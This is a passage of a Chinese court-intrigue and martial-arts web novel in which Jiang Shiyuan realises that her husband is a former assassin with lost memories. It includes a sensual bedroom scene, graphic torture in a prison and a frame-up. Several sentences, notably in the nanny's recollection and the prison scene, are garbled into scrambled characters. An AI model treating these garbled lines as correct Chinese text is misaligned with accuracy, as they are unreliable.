“姜时愿也是如此,她口口声声说爱你,不过是在骗你,骗你为她复仇!她进典狱之时,不是再利用你吗?” 他满眼怜惜,抚摸上谢循的脸颊,叹道:“阿循,我们一体同心,我实在不忍你再受伤了。” “这世道不公,唯有心狠,化身阎罗,任何人才不敢欺你、辱你。”那人又落下眼泪,“阿循啊…这个世上唯有我爱你,怜你。” “回来吧,做回曾经的自己。” 翌日,姜时愿听闻永安公主醒了,喜出望外,连忙进宫看望祁灵萱。 祁灵萱虽然醒了,但大病初愈,身体还虚得很,神色也不见好,整个人木木地坐着,唯独看着姜时愿来了,情绪才大有波动。祁灵萱打翻药碗,扑在她的怀中,哭着说道她害怕。 差点死于他人之手,生死的惧怕是一时难以消除的,姜时愿软语安抚着祁灵萱,似变戏法般从袖间掏出个小面人递给祁灵萱。祁灵萱揉了揉眼睛,哭音未消:“这模样丑丑的面人,不会是本宫吧。” 姜时愿笑笑,这面人乃她进宫之时,路过小巷小摊特替喊店主按着祁灵萱的面容捏的,模样已入了七分像,没想到还是祁灵萱嫌弃了。“你就捏了一个本宫吗?”祁灵萱皱着鼻子:“只有一个面人摆着宫殿之中,那得多孤单呀…”“姜司使莫不是在咒本宫孤独终老?”祁灵萱鼓着腮帮子,佯装生气。 实际上,她早就余光瞥见姜时愿的袖间还是鼓鼓囔囔的,定还存着送她的礼物,她定要逼着姜时愿一鼓作气俱拿出来,莫再消遣她。“放心,臣定不会让殿下感到孤独。”姜时愿笑靥如桃,春色浮动。 好事成双,这道理她自然明白。 其实她还捏了一双面人,分别是自己和沈浔的。 姜时愿又将自己的面人送给祁灵萱。 祁灵萱嘴上说着嫌弃,但也嘴是心非地收下,不如说姜司使跟她心有灵犀,打从一开始,她想要的便是姜时愿的面人。 凑成一对,摆在殿内,长长久久。 “还有一位面人,想来殿下应该心念已久。” 下一瞬,姜时愿意料之外地再掏出沈浔模样的面人,讨祁灵萱开心。 不曾想,祁灵萱脸色骤变,似看到罗刹般,避之不及,连忙打落曾经的心爱之人,吼道:“扔远点!本宫不要看见他!” 姜时愿连忙问道:“怎么了,殿下?” 祁灵萱仍止不住地发抖,看着姜时愿,支吾着:“他…他……” 她不知该如何阐述,只能说到实情,“姜司使,你可知明奴的画像画的是谁?手里紧紧攥着的小像上,又是画着谁?” “就是他!他就是明贵妃心心念念之人!” 祁灵萱难掩激动,上气不接下气,姜时愿如坠深渊,掌心止不住地发颤…她看着遗落在地上沈浔的面人,满是错愕,满是悲恸,满是不可思议。“殿下是说,他就是明奴朝思暮想之人?” … 半刻香之后,姜时愿失魂落魄地离开公主殿。 天色青雨,她却无心打伞。 姜时愿的耳畔喔喔作响,满是祁灵萱的话“他就是明贵妃心心念念之人”,还有明嫩那句求而不得的,满是哀怨的,“姜司使,我真的很美慕你。” 姜时愿原本以为明 是在怨所有有情之人,如今想来,明嫩的恨意、爱羡都只针对她一人。 明嫩恨她,从天而降,轻而易举并夺走了她相思之人全部的爱。三年的长处,便取代他们七年的相濡以沫、相存相依。 难怪,明嫩望向她的眼神充满艳羡。 难怪,明奴看着她的眼神又充满怨恨。 雨水顺着她的脸颊滑落,姜时愿已经分不出是泪是雨,她的指甲狠狠掐进手腕的皮肉中,狠到指甲断裂,渗出鲜血,仍不自知。 她茫然走在雨中,思索的是,他的夫君为何会和本该毫无交集的‘魅有过一段密不见人的情? 她蹙眉,轻笑,轻叹,摇头,咬唇,麻木,疲倦。 她站在雨中,不明觉厉,倏然,一把红伞撑在她的头顶。 姜时愿茫然回头,看见李斯抱憾地笑了笑:“下官看着姜司使心不在焉,走在雨中,还不打伞,青衫都湿了大半。所以,特意跑来给姜司使送伞。” 李斯挠着头发不知姜时愿此刻寂静的心死,依然说到:“说来有一件事,下官越想越不对劲,想来与姜司使说说。” 姜时愿心不在焉,心绪烦乱,哪还有私心管他人之事?她没有接过伞,只想离开。却听见李斯粗犷的声音追来:“是万寿宴之事。”姜时愿止住脚步,颤着声,努力压抑喉咙中的哭意,“你说,是…什么?” “姜司使还记得,万寿宴之时,舞女行凶,烟毒遍布,我率禁军欲突破金銮殿,但殿门如青铜门般重如千斤重,迟迟久攻不破。”姜时愿当然记得,甚至记忆犹新。 当时天降狂风,呼啸之发直破殿门,满城凄凉风雨都仿佛倒灌于金銮殿内。 “那时,忽然狂风大作,如有天助,才能破门。但臣知道,那不是天助,乃是一人的剑气。”李斯又回想起那时琉璃瓦上,站在残卷黑云后的影子。 “那人剑气恐怖如斯,登峰造极,下官实为感叹。” “下官在想,莫非姜司使认识此等高人?” 她怎会认识?甚至,她都不知道那股冷风竟然是一人的剑意? 姜时愿唇瓣毫无血色,强稳心绪,深知李斯不可能凭空揣测,又问道:“你为何会觉得我认识此人?” 李斯:“姜时愿可还记得,嬷嬷将永安公主推入水中一事?” “嬷嬷将公主水中之后,又欲对姜娘子出手,那时也是无风自起,刮于林间,所以嬷嬷才被迫收手。” 听着李斯这话,姜时愿忽然忆起,嬷嬷被抓后,对她咬牙切齿,避问着她,早知道,我方才就算豁出去这条命也该杀了你!说!姜时愿,你身后之人究竟是谁,是谁一直在保护你! 姜时愿头皮惧麻,四肢皆是被冰冻住了,整个人如坠深渊。 她是如此聪慧,又怎会不知是谁最有可能豁出性命,去保护她。 万寿宴上,他出手,是因为她被困于殿内。 嬷嬷欲杀他,也是他出手,才救她于水火。 两次剑气皆是因她而起。 姜时愿胸臆皆堵,没有一丝冷气进入肺腑。 她如坠入水底,无法呼吸,无法思考。 如若这一切都是真的,如若众人所说不假。 那她的夫君,沈浔,绝不是不会武功的白人。 她的夫君,会武,且武学造诣绝非凡人… 而这一切,她从不知晓! 姜时愿悲恸欲绝,心如刀挫,她不知自己是如何强撑着回到典狱的,看着厢房内的一切她恍若隔世,她看着木施上悬挂着的玄衣,更加尤为陌生。她泪水再也不可控制。 真相如此赤.裸存疑,一切都在等待着她亲自去验证。去验证她的至亲,她从未有过一丝怀疑的爱人。 悲愤交织着无数的欺瞒和谎言,险些将她撕碎。 万箭穿心,大抵也不过如此。 烛火摇曳,月色如冥纸的脏银色映亮着她杂糅着无数情感的眉眼。月升,月华又缓慢下移,渡地迟迟凝在下颌的泪滴上,宛若珍珠。 姜时愿全身皆是冷的,没有一丝余温。 半是寒雨浸润衣衫,半是已经碎裂的心。 倏然,有人从背后轻轻拥她入怀,熟悉的白梅冷香裹挟着她单薄的身形。 谢循撩着她半湿的墨发,满是心疼地问道:“阿愿,怎得淋湿了?为何不褪衣?为何站在此处不动?”他看不见阿愿七情上脸,更看不出她已梨花带雨。 话音甫落时,他只感受到怀中之人的战栗、颤抖。 谢循大抵是怕她冷,将她搂着更紧,柔声道:“阿愿,怎么了?” 再温润的声音,如今在姜时愿的心中也起恶寒。 1L一一 一 '' 她的夫君,站在她的身后,犹如罗刹般可怖。 深不可测,满是欺瞒。 107、107 谢循从身后抱着她,指弯撩过她鸦黑的发丝,轻轻柔柔。 这亲密的举动却令姜时愿心里忽然咯噔一下,四肢惧麻,她仿佛如一只怀兔被凶兽的利爪狠狠抵住喉咙,呆在他的怀中,犹如全身压在他的掌下,无法喘息。 她懦弱,渺小,且无助。 “阿愿,你怎么了?”谢循抱着她,感受到怀中之人始终僵冷,嗓音温润。姜时愿任他抱着,岿然不动,心中仍在一遍遍地自我斗争,事实真的是这样么?会不会是她多疑了,她要怎么相信她的夫君其实会武艺?但,如若沈浔真是学武之人,必有证据。姜时愿垂眸看着谢循交叠在自己腰上的手臂,仔细打量着他颇为秀气的手掌。 谢循说道去为她准备热水沐浴,谁料阿愿轻轻拉住他的衣角,握着他的手掌,指腹轻轻地摩挲着他掌心的每一寸。他不由得心头忽跳,一种说不清道不明的怪异之感涌上心头,眼神微眯,充满防备,唤道:“阿愿?” 姜时愿摸上他掌心之中的薄茧。 三年的办案经验让她清楚地明白,手背及掌心的细节能清楚暴露此人曾做何营生。 比如,官家小姐十指不沾杨春水。 再比如,日升而出日落而归的农夫双手布满粗厚的老茧,五指粗壮,皮肤大多粗糙且铜色偏多。又比如,执笔的学士又有所不同,十指大多秀气、精瘦,但因常年执笔的关系,食指及中指第二节指弯皆有一层薄茧。 而她的夫君,沈浔的手,却在两者之中。 双手颇有书生气,但又在四指指根处有着厚茧。 那是长年握剑之人才该有的… 谢循轻轻落声,眼神顺着阿愿的视线落在自己的掌心。他微微蜷起五指,打量着阿愿脸上的七色,轻轻地落声:“阿愿,怎么了?” 姜时愿一惊,骤然反应过来,她的夫君惯会心计,心思比谁都要缜密。她如此突兀地打量着他的掌心,他怎会不起疑? 她的夫君瞒了许多,谎言数之不尽,与此虚假之人斡旋,她几乎毫无胜算。所以,姜时愿要做的,便是反之其道,率先将他瞒入鼓中,在暗中查证他所有的欺瞒,方可撕下他坚不可摧、无一不是虚假的伪装。 姜时愿不能让沈浔’起疑,转而扑进他的怀中,咬着牙,深藏着愠意,紧攥着他身上熨烫温热的衣袍。她更不愿意让他看清自己眼里的失色,深深埋进他的怀中,骗他:“阿浔,我方才只是忽然想起了儿时和兄长的旧事,悲从心来。” “抱我一会儿吧,抱一会儿…我就好了。”她颤着声,半是言不由衷,半是不敢说出口的恐惧。 谢循闻言却搂她更紧,恨不得将身上所有的温度都渡给怀中之人。而此时,怀中之人,在想什么呢? 姜时愿在想,借着此时,调整她的状态。眼前之人不比十八狱中关押着的穷凶极恶、满嘴谎言的恶徒,她的一举一动在他眼下都会无限被放大,她不能先此暴露被他发觉,不然一切真相又会被他抹去。 她讨厌看不清人心的感觉,更何况还是至亲之人。 姜时愿暗暗咬唇,下定决心,再次撤离怀抱之时,已经勉强地扬起一抹笑意,拉着他手走入帘帐之内,邀他巫山雨云。 谢循心起微妙之感,却又道不明怪异之处,只觉得今日的阿愿不同了,与初次不同。 今夜的她不再脸颊绯红,也不会在他温声细语之下才放下羞赧。 她更为主动,甚至说是热情。 眼下的她,没有吹灯,任着火烛高燃,烛水滴落,不顾这光霞毫不保留地柔亮她的冰肌玉骨。密合色的抱腹由于是丝绸钩织,半透着光,玉体横陈。 谢循看痴了。 姜汁黄的光晕之下,阿愿身躯曼妙,柳腰花态,抱腹之下丰姿冶丽。 这是他不曾见到的… 与初次不同,今夜红烛高挂,阿愿主动地缓缓解开系带,松垮半透的衣物尽数逶迤在腰侧,春光尽显。 谢循看着阿愿脸颊之上分明浮上一层淡粉,说明她的心中依旧是羞赧的,如初次一般不能完全接受坦诚相见,更不习惯他如此密不可分地觑着她毫无遮掩的身体。 而阿愿却依然银牙紧咬,红唇贴上他的薄唇。 与自己的方式不同,阿愿轻吻如雨,轻啄浅尝,在他承胜之时,又退避三尺。谢循看着那一双素手盘上腰间,丹蔻的指尖轻轻勾出他蹀躞带,玉石相击,冷冷作响。 阿愿今夜当真主动,主动到谢循都不曾料到… 但唇齿之间的蜜意浓郁,留香在旁,温香软玉在旁,怕是君子雅正再有定力也难逃美人之计,他腹下燥热,难以自持,忍字也削去一点。 谢循阖上双眸,心甘情愿被阿愿调配,也选择沉溺在此寥寥烟帐之内。 姜时愿难以自控地淌下一滴泪,不情不愿地以此方式陪他斡旋。 她带有目的地脱去 沈浔’的藏青竹纹外衫,又井然有序地褪去他的澜衫、亵衣,露出精壮销魂的双臂线条,肌理分明,起伏流畅。 冷意浮来,谢循血脉喷张,无衣衫遮掩,露出藏于圣人衣装之下的野性。 猿臂蜂腰,胸膛紧实。 腰身精瘦又极具力量,线条清晰而如行云起伏。 姜时愿再次垂眸,心跳乱如鼓。 她早该猜疑的,一个长年不受重视的青楼妓女之子,一个被暗河追杀多年、漂流在外的沈氏余孤,怎会练得如此精壮的肌肉? 她不敢多再打量,怕被 沈浔”怀疑。 又俯身吻上他身上密布的疮痍,吻如凉水,谢循难以自持,轻呻出声。 姜时愿吻遍他身上的每一处疮痍,分析着是由何而来。 是陈旧的刀伤剑伤、是因受过重拳而留下的压至不褪的淤青,永不可愈合的创也是因箭矢射中遗留而下,还有,小刀划过的细细伤口… 今夜姜时愿不点灯,故意邀他云雨。 就是为了看清他每一处,瞧清他的可疑。 身上伤痕密布,刀痕之上又落着剑伤。 阿愿心里已不知是何滋味,疑到她的夫君身上为何会有如此多的伤口呢? 是常年逃亡留下的嘛?是被暗河杀手追杀时而受伤留下的吗?显然都不是,不会武功之人怕是难以活着站在她的面前。 姜时愿心中苦水泛滥,翻江倒海。 他满嘴谎言,从不肯吐真,但他的伤口、疤痕却很诚实,交给她所有答案。 这下,她终于心如死灰。 芙蓉帐暖度春宵,享尽欢娱。 谢循溺在温柔乡之内,不明觉厉,云雨时才看清她眼睛的湿润。他柔声问道疼吗,念着初次之时,不敢尽索取,拭去她眼睛的泪水。 “阿愿…”他意乱情迷地唤她,欲追随着她的吻而去。不曾想,阿愿的气息避开,将头偏向一侧。 谢循的疑心刚起,又见阿愿将整个粉腮埋入芙蓉红枕内,玉面羞红,紧咬贝齿。 他这才舒朗笑到。 枕席之欢,两人各怀心思。 谢循不知阿愿是有意避开,更不知她埋枕之时,又在掩面哭泣。 夜间,谢循搂着阿愿而躺下,气息微喘,见阿愿缩于榻里,又听她气若幽兰:“阿浔,你还是什么都没有想起来吗?” 阿愿的声音不辩情绪,听不出喜怒。谢循也不辨她的目的,问道:“阿愿为何忽然有此问?” “我方不过抛出一句话来,常人都只是作答,而你却要追问个因由?”“阿浔,你是否活得过于小心,又是否过于防备我?” 姜时愿的话如羽毛轻落,抓痒着她,谢循不争阿愿多想,只是说道自己错了。他追着阿愿说着对不起,阿愿只留一句淡淡的,她倦了。 世间夫妻之间同床异梦者,比比皆是。只是姜时愿想不明白,为何是她和 沈浔’走至如今 步? 越来越大的疑云在她心中凝结成雾,如果众人所说皆是真的,如果她的猜测没错。她的夫君,极有可能曾是天外天及暗河的一员。所以,他才会与明奴在天外天相遇,他才会受教于暗河之下,学习武艺。等等…洒落成盘的珠玉一颗一颗被姜时愿串联成线。她又想起来了很多疑点。比如,沈浔为救自己拖延暗河两位天字杀手,因此被杀手怨念,挑断筋脉,幸得袁黎及时赶到才救下他… 可,真的是袁黎救下的吗?他的手筋又真的是杀手追姜时愿不得,改而泄愤在沈浔身上的吗? 姜时愿冷冷地笑道,怨自己怎当时竟看不明白。不通武学之人真的能强撑到袁黎赶来吗?凶手为何非要挑断他的手筋呢?他的手筋尽断不过是他的谎言罢了。 暗河的两位地字杀手皆是被''一剑封喉,这也许就是李斯和嬷嬷口中的剑气吧。似风,似剑,有形又无状。 等等…剑?剑气?风? 她仍然记得,天外天那夜的血雨腥风,无数骸骨尸体也皆是这种死法,会不会他们也是死在沈浔之手?那夜她在天外天中被魉和蒋县丞绑架而又安然无恙,是不是也是因为沈浔赶来救他? 姜时愿全身发颤,不敢再想。 能一以敌百,又能单杀两名天字高手的人,武功定然在天字以上!甚至是高于天。 杏眸盈盈,软睫不停地轻颤,姜时愿的指节狠狠剥着手腕处的玉镯。她在想,又不敢想,她的夫君会不会是四绝? 她脸色灰败,如有雷击,想到顾辞曾推测出四绝之一的魑擅长用剑,且剑法登峰造极,世人望尘莫及。 除了顾辞外,姜时愿还想起明嫩。明嫩说,她之所以拿起屠刀,背叛本心,想要成为魅,就是不想离心爱之人太远,想与他并肩于山河。 不想离他太远?并肩? 姜时愿微微蹙眉,掌心已经紧攥出了一层冷汗。 她已经想不出别的答案。除了一而再再而三,确定她心中的疑云,她的夫君是四绝之一的魑。 如果他的夫君是四绝,是魑。 那么顾辞是被他栽赃陷害,也是死于他手。 那双搂上姜时愿柳腰的手,令她十分恶寒,战栗。她不敢想,他曾为暗河做事时杀了多少人,还有手上又沾了多少人的血。 当然,还有。 他当真还什么都没有想起来吗? 他真的是沈浔吗? 108、108 文火慢熬草药气息随着白纱似的雾带在小灶房中弥漫。 这苦涩的气味,令她久违地舒缓情绪、还有些安心。 姜时愿小心翼翼地折叠四方巾裹着柄手,深褐如墨的汤汁从壶嘴里缓缓倾倒而出,眼见最后一滴汤汁落入药碗中时,清朗如玉的声音从身后传来。 “阿愿在熬什么药?可需要我帮忙?” 没什么,不必了,姜时愿嘴上答得含糊,不肯告之。 她如何敢说?难不成要告诉 沈浔’即将喝下去的乃是避子药? 而她垂眸,眼见一只骨节分明的手罩住散着雾气的药碗,谢循颀长的身躯微微笼着她,气息如酒醇厚醉人,“我来吧。” 姜时愿也不知他怎就看出自己在熬避子汤,不过既然他已经瞧出来了,再遮掩,也无用。她干脆转身,把苦涩的汤汁递到他的鼻息,想叫他知难而退:“你不是最怕苦吗?” 她还不了解她的夫君嘛,凡是带点苦的半分都不沾。 更何况汶碗汤药还是肉眼可O地芋 不曾想,谢循只是笑笑,欣然接下,一饮而尽,喉结上下翻滚,但还是强封气门,逼迫着自己咽下。果不其然,坚持不过须臾,胃流泛上,扶着墙檐,几欲作呕。 意料之中.… 姜时愿赶紧从荷包里 簌簌地翻找出一颗梅子糖,刚想递给他,然后纠结几许,还是悻悻松开掌心,糖果重落入囊中。 她背过身,假装忙碌,再分了一碗出来,解释到:“方才”,她又不知该如何开口,慢慢吐气,不再纠结,“男子的避子汤和女子的略有不同,男子应在事前服用。昨日已经错过了,所以你不必服了。” 谢循仍不能压住唇腔内的苦意,嗓音沙哑:“阿愿可以写个方子给我,以后我定会按时服用,不会让你再碰了。” 这!不从根源解决问题,本末倒置! 姜时愿越想越郁闷,刚欲作声,又抿着唇,强忍咽下。罢了.…她得忍…不能被他发现端倪。 她端来笔砚,故意在方子上多写下几味味道古怪的草药,揉成一团,丢入他的怀中,“砰”地摔门,面上却尽到柔情,“夫君赶紧去采买吧,一日三次,文火慢熬,药效最好。” 姜时愿正气着,又将他推门而入,她没好气地问到,“又要干什么?” 谢循有些难以为情:“我没有银子,阿愿。每月的俸银尽数交给你了,我余下所存不多。” 谢循接过银子以后,不疑有他,离典狱而去。姜时愿趁他不在典狱之时,忙不迭地进了皇宫,明面是再去探望久病初愈的祁灵萱,实则去了公主殿之后再去了趟今已沦为冷宫的坤宁宫。 昔日繁盛不再,无人踏入,叶落萧寂。 吱呀一声缓缓推开殿门,尘屑儿拂面而来,姜时愿连连掩着袖子,来到明奴常作丹青的条案之前,仰面看着满面的墨水丹画。 画卷上的男子虽无一笔带过五官,可如今姜时愿再看,五味杂陈。 明奴与自己爱上了同一个男子。 他既是明 的魑,也是她的夫君,沈浔’。 姜时愿凝着画卷,越发觉得熟悉,认定魑就是她的夫君。但,熟悉之后又骤然觉得陌生… 画中的魑,指剑潇洒,满身戾气,杀气逼人,疏人于千里。 不见其面,但姜时愿也能想象得到,他的眼神是何其肃杀森寒。他不像魉或顾辞是嗜血狰狞之人,但他却有着二人没有的冰冷,几乎无情。 姜时愿想。 他作为魑的时候,有人的情感吗?会悲?会怜?会爱吗? 姜时愿对魑了解太少,也可以说对她夫君曾经的过往一概不知。 思及此,她忽然想到了一个人,或许此人能给她答案。 天牢当真不是一般的冷,哪怕地上已经初春,莺飞草长,万物滋润,可地下依旧阴冷死寂,潮湿不堪。 狱卒甚至穿的还是厚袄子,看见姜时愿来了,顿时清醒,“大人怎么来了?” 案件细节还再略有遗扁,故尔再来提审婉嬷。”姜时愿看者狱卒提起桌子上的煤油灯,又从墙上撸了一把钥匙,边领路边小声嘟噎起了怪了,今日什么大人物都要亲临天牢,搞得跟过年 样。 “噔噔噔”的脚步声齐齐,狱卒瞧着金子牢一百号,停下来了脚步,朝着姜时愿示意嬷嬷就是被关在这间。 月光如水,映照出嬷嬷扭曲的面容,再次见她,姜时愿甚至都快有些认不出。 然后,嬷嬷却一眼认出了她,倏然暴起冲至姜时愿的眼前,目光眦裂,与姜时愿近在咫尺。虽然近在咫尺,但已是嬷嬷不能碰到姜时愿的距离,混黑如墨的血顺着肩甲的弧度淌下,殷红大片。嬷嬷发了疯的大叫,半是愤怒,半是身体被撕裂之痛,求生不得,求死不能。 姜时愿这才瞧清,从灰墙中连出的两道沉重的锁链,末尾缀着铁钩,穿过嬷嬷的琵琶骨,露出锈迹斑驳的钩尖。这是什么刑罚,她在十八狱中都未曾见过,看上去残忍至极。 这时狱卒看清姜时愿的顾虑,解释道:“姜司使有所不知,若是平常不会武功的白人上带枷锁或者镣铐,下拴铁链,便就可以制服。” “但习武之人却大大不同,单一的刑具或拿金子做的牢笼都关不住他们,好在左相发现若是以铁索穿过他们的琵琶骨,这样.他们即便有力也使不上,一身武功无法施展,自然也就无法显示神通。” 狱卒咯咯地笑道,“嬷嬷不过才穿两个就能惹得姜司使如此不忍。大人怕是没想见过上穿四,下锁二的惨人啊…” 他啧啧嘴,“下官就曾遇见过。那时每隔一周,怕他重塑筋脉,下官都要亲自前往去挑断他的手筋、脚筋一次。” 姜时愿不忍再听,吩咐着狱卒退下,狱卒犹豫再三,最终离开。 火盆中的炭火噼里啪拉地然烧着木炭,姜时愿寸步不退站在 蛇的面前,看着她几近毁容的面容,声音凉凉如水:“婉城跟随明 多年,应当知晓她心中日夜相思 牵肠排肚的是哪个男子吧?”“与你何干?”嬷嬷扬起残缺见骨的下颌。“是魑,对不对?”姜时愿道。 嬷嬷目光凌厉,“你是如何得知的!” “嬷嬷如今是我再提审你,不应由你来审问我?”姜时愿淡淡句,立即高下立见,嬷嬷闻言怒目而视,恨意难消,但又无可奈何,她深深叹息几许,只叹明嫩爱错了人… 嬷嬷抬眼问道,“姜司使今夜特支开旁人,来找老奴,所想问的事情,究竟是什么?” 姜时愿:“我想知道魑的过往,把你所知道的一切都告诉我。” “魑?”嬷嬷笑笑,“已亡之人罢了,竟劳烦姜司使亲自来到这污秽之地,罢了,既然你想听,我会告诉你…只是想求姜司使一件事情…” “什么?” “明嫩的尸骨,那狗皇帝是如何处理的!” “五马分尸,丢入乱葬岗。” 嬷嬷听闻大怒后又是仰头大笑,“不愧是他,向来如此薄情.…什么深情,什么恩宠,不过是帝王的谎言。” “你想求我什么?” “老奴想求姜时愿为明嫩立一座衣冠冢,希望她死后能前往极乐世界,不要再来人世轮回了….”嬷嬷心酸泛滥。 “你依托我之事,我定当完成。” 姜时愿又想起明钢,神情亦有伤感,我今日去了地中宁宫,将明 所面的卷轴一取下。她的画和心磨不该再被因于深宫了,深宜锁住了她的半辈子,再不能因禁她的灵魂,应该随着她 同离去,我替她帕烧合明椒 嬷嬷的脸上血迹斑斑,唯有眼神清亮,泪水混着褐血而涕下….心绪万千,她化为真挚的感谢,“谢谢你,姜时愿,真的谢谢你…"” 天牢内阴暗逼仄,无声地困住两人。 饮之后,婉嬷抹干眼泪,开始讲起她所知道的一切,“魑啊…曾是阁主所天外天赎来的最优秀的打手,后经过阁主的栽培,经过三年便做视群雄,成为暗河最杰出的杀手”“可惜啊…他背叛了暗河,被阁主发现,又被阁主擒回了暗河。” “我亲眼目睹,魑被阁主一刀捅死…” 嬷嬷仍然记忆犹新。 十年前,二月余,雪花满天。 那晚天空中炸开银花,火星四溅,这是阁主集结众人的信号,嬷嬷也是其中一员,匆匆赶到石窟之中,石窟被巨大的雪幕覆盖,除了白色,再不辨其余色彩。 所以躺在地上的一袭墨袍深深刺痛了嬷嬷的眼睛。 她看见享誉天下的魑冷躺在雪色之上,躺在阁主的脚下,魑身下淌出的腥红慢慢融化了积雪。 “阿循,不要!”倏然,嬷嬷的身边响起了明奴的声音,嬷嬷心中一惊,立马强硬地把明嫩按在自己的怀中,示意她嘘声… 同时阁主冷峻成严的声音,一并响彻整个山间:“阿循,你我之间不过是被奸人挑峻才因此生分罢了。你勾结沈煜,背版暗河之事,老夫可以既往不咎,只要你肯心悦诚服,再度成为老夫手里的剑。” 雪地中的青年强撑看撕裂的伤口,无数皮革缠绕的玄袖楷干嘴角的血迹,他声冷如玉,“没有误会,没有挑唆,我不会再成为你手中的剑了,你休想!” “宁为玉碎,不为瓦全。” 嬷嬷听着明嫩在她的怀中撕心裂肺,却因被她的手掌捂住,呜咽地缩回声。 如今的魑不过也仅是十三岁,却已有了不俗的心性和勇气…暗河之人半是敬佩,半又是对这叛徒恨之入骨。 “呵,我已经知道了,你为何要屠戮沈氏全族。可惜,你在我的眼中已经没有秘密了…” “我知道,你是谁。” 只见青年唇翕微长,即将说出他的秘密,就极快地被阁主手中的利剑刺穿胸膛。阁主亦心痛得落泪,说着不忍,一边狠戾地将利刃拔出,接住青年即将倒下的身躯,拥他入怀阁主喃喃:“阿循啊…你当真是执迷不悟,你曾是老夫最引以为傲的一把剑啊…” 姜时愿:“魑死了?” 嬷嬷:“死了。” “他绝不可能死。”姜时愿目光灼灼,如果魑死了,那她如今的夫君又是谁? “可有人亲自探过魑的脉搏及鼻息?” “并无,阁主从不肯让我们接近魑的尸体,暗河众人亲眼所见魑的尸体一直被阁主封在水晶棺之内,并存在暗室中。”姜时愿敛眉心念,没有人亲自验过鼻息,就代表魑的生死均可有阁主一手捏造。嬷嬷低眉说到:“不过,明嫩也是如此固执,一直相信魑没有死.…” “我已经劝她无数次,劝她不要再等了毕竟暗河之人皆亲眼所见魑已经死于阁主的剑下,但无论我怎么劝说,明始终不愿放弃,似得了心病…” “明嫩为何这么说?”姜时愿追问道。 她地旭起日事,明脚对磁的死始络放不下,常起着阁主不在去往水品馆。只不过忽有一日,她躲在石壁之后,偷听到同主对越的尸身低古细语,呵循 你还会到老夫的身边的这次老夫有信心,不会让你想起过往的因此一句,便让明嫩陷入魔道,发了疯觉得魑并没有死。无论嬷嬷如何劝说,皆无济于事。 嬷嬷越说越悲,而姜时愿仍在念念不忘暗河阁主所说的那句,“不会让你想起过往的…” 她喃喃道…不会想起…便是,失忆? 她又倏然打通思绪,想到明奴曾说,魑之所以叛离暗河其中一个原因,是因为体内被人下了蛊。 姜时愿脱口而出:“有没有一种蛊能让人忘记记忆?” “有…”嬷嬷怔怔地答出,“血滴蛊…” 倏然,铁窗外火树银花炸开,嬷嬷定睛 看,心下恶寒,再盯着姜时愿泪流满面,“姜时愿,对不起…我不忍伤害你…但是我亦不能放弃暗河的大计” “对不起”话落之间,婉燃倏然奋弃,牵制她的铁链也在此时化为面粉,紧接着看从差时愿的盘发上取下 枚发替,并摸看姜时愿的手连着发警 起捅向自己,并大喊着:“姜时愿,你要干什么!别杀我!” 太快,一切都发生在眨眼之间,姜时愿甚至都来不及反应… 倏然,她手上桎梏的力量没了,匕首哐当一声,掉落在这寒蝉之地… 在姜时愿仍旧惊魂未定之时,又听到狱卒恰逢此时时赶来,盯看眼前的一切大惊失色。上下打量,把原本准备好的说辞,囫囧地改成:“不好啦,姜司使杀人了,快来人啊!!” 另一方面,寒风入帷,带起的风吹灭几盏白烛,影子走近这间令人心生寒战的暗室,谁人会想到亲和儒雅的左相府里竟然有一间不输十八狱的暗室。 阴寒渗人。 这里的刑具一应俱全,甚至还有些连影子都叫不上名字的…他曾听闻那名狱卒疯言,有人曾在这间密室被左相关了三年。 影子悻悻地咽了咽口水,看见从墙檐四面迁出的四道铁钩以及两道镣铐,又见左相颇为安抚地拿着白巾擦拭着上面斑驳的血迹,好似在睹物思人,语气连连叹息。左相看见影子来了,怒喝着出去,影子却颤颤地抱拳,不敢退,喂声说到:“义父….计划略有改变,没想到姜时愿没有死…”左相斜眼冷觑,影子被吓得魂不守舍:“但…,姜时愿已被杀人之罪暂时关押入天牢…” “好。” 109、109(恢复谢循身份)… “为何本相交代给你的事情,你总是办不好呢?” 左相捻了捻手中的佛珠子,攥紧手中的九节鞭,锐利的鞭头抵住影子的青鬼獠牙面具,影子额间冷汗淌下,“是我办事不力,还请义父责罚。” 说罢,影子一把褪去身上的墨袍,露出满身伤痕的身躯,伏跪在左相的脚下。 鞭声落地,皮开肉绽,深可露骨,影子吃痛出声。 今夜之事,出乎影子的意料。嬷嬷不是最恨姜时愿吗,恨不得要了她的命? 本是如此,所以影子才打算借嬷嬷的手顺便除去姜时愿,特意安排狱卒暗中做手脚切断一截锁骨链,不然嬷如何能挣脱锁骨链的桎梏? 若是今夜的计划顺利进行,怕是姜时愿早就死在了嬷嬷的手上。哪想嬷嬷临死叛变,不知为何竟然心软地留了姜时愿一命,好在狱卒还算机灵,当即给姜时愿扣上谋杀的罪名,这才能暂时将姜时愿收押入狱。 影子道:“眼下姜时愿收押入天牢,我也暗中下命不许任何人掺和此案,相信典狱中人无人敢为姜时愿作保。姜时愿被关入狱中,与世隔绝,自然也无法再涉入姜淳谋杀燕王一案。”“等到半月之后,大理寺就姜淳旧案盖棺定论,纵使姜时愿出狱之后再想翻天,相信陛下也不会再理会。” 圣人本就格外开恩,才会特赦姜时愿重查旧案。但同样的,圣人恩典可遇不可求,机会仅此一次,再不会重审。 所以,影子顺势出此下策,将姜时愿收入狱中,叫她不能着手案件,直到日案重审结束,姜时愿都休想出狱。即便不能就此将她掰倒,但让她在天牢中吃点苦头也是好的。 簌簌的捻珠声停下,左相指腹按着镖头,眼神寒凉。 锋利的镖头撬开影子脸上的青鬼獠牙面具一角,也逼他仰头,迎上左相的打量。 左相看着相似的面容,皮笑肉不笑,道:“本以为本相耗尽心血,就能塑造出来下一个阿循,但终归只是皮肉之像…罢了。” “罢了,要求你像他,本就是痴人说梦。” 左相微微俯身,攥着影子的额发,力道之大,似乎要把影子整个头皮都攥下来,“你又如何能比得上本相一手一手塑造出来的阿循呢。” 小灶房内,苦涩的汤药弥漫,袁黎仅只是一嗅就捏紧鼻子,极为厌弃地看着谢循拿着蒲扇煽风点火,进一步催化砂锅中的草药熬至干巴巴的。他垂着脑袋,两脚踮在矮凳上,闻着味道,差点要呕出来:“我从未没有闻过这么恶心的味道…”况且,祸不单行,在谢循一顿不堪入眼地熬煮之下,味道愈烈。 眼见着谢循还要毫不犹豫地喝下,袁黎急忙拦下,大喊道:“你确定姜时愿没有在毒害你吗?她这是在谋杀亲夫!” 